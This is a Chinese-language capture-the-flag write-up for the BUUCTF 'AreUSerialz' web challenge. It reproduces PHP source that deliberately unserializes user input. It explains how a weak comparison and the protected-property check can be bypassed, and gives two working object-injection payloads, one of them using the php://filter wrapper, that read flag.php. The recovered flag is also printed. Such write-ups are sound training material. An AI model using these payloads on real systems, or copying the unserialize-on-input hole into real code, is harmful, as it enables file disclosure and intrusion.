BUUCTF - Web - AreUSerialz

题目源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

接收GET类型的str传参,如果通过is_valid函数,则对其进行反序列化

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

遍历每一位,当他对应的ASCII码在32到125之间时,返回true

function __destruct() {
	if($this->op === "2")
	    $this->op = "1";
	$this->content = "";
	$this->process();
}

op等于字符2的时候,将其赋值为数字1,再将content赋值为空,最后调用process函数

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

如果op若等于字符1,调用write函数;如果若等于2,调用read函数(应该从这里得到flag);否则输出Bad Hacker!

private function write() {
    if(isset($this->filename) && isset($this->content)) {
        if(strlen((string)$this->content) > 100) {
            $this->output("Too long!");
            die();
        }
        $res = file_put_contents($this->filename, $this->content);
        if($res) $this->output("Successful!");
        else $this->output("Failed!");
    } else {
        $this->output("Failed!");
    }
}

先判断两个值不为空(在__destruct里已经将content赋值为空),若content的长度大于100,放回Too long!;再在content路径下写名为filename的文件…(没啥用,不分析了)

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

重点来了读取filename文件并返回结果

构造payload

我们应该用GET的方式传一个str,他的值应是该类序列化后的结果,以用于反序列化

protected $op;
protected $filename;
protected $content;

这是类中的成员变量,都是protected类型,应构造为:s:5:"$00*%00op";
is_valid函数不能有小于32的字符,%00的ASCII值为0,不可通过
抓个包看一眼php版本
在这里插入图片描述
php7.1以上对成员变量的属性不敏感,我们直接将这三个变量当作public就行

payload 1

  • op的值应为整型2,这样就可以绕过赋值,并弱等于字符2,使其调用read函数
  • filename的值应为flag.php,这样read函数就可以读取该文件并返回
  • content是什么都行,因为会被赋为空值

payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
在这里插入图片描述
显示不全,F12得到:flag{f3cc9063-12a3-4f33-ae75-678107d23608}

payload 2

我们发现flag写在注释里,一般这种情况可以直接用php伪协议读取
payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
在这里插入图片描述
base64得到flag


版权声明:本文为SuichI314原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。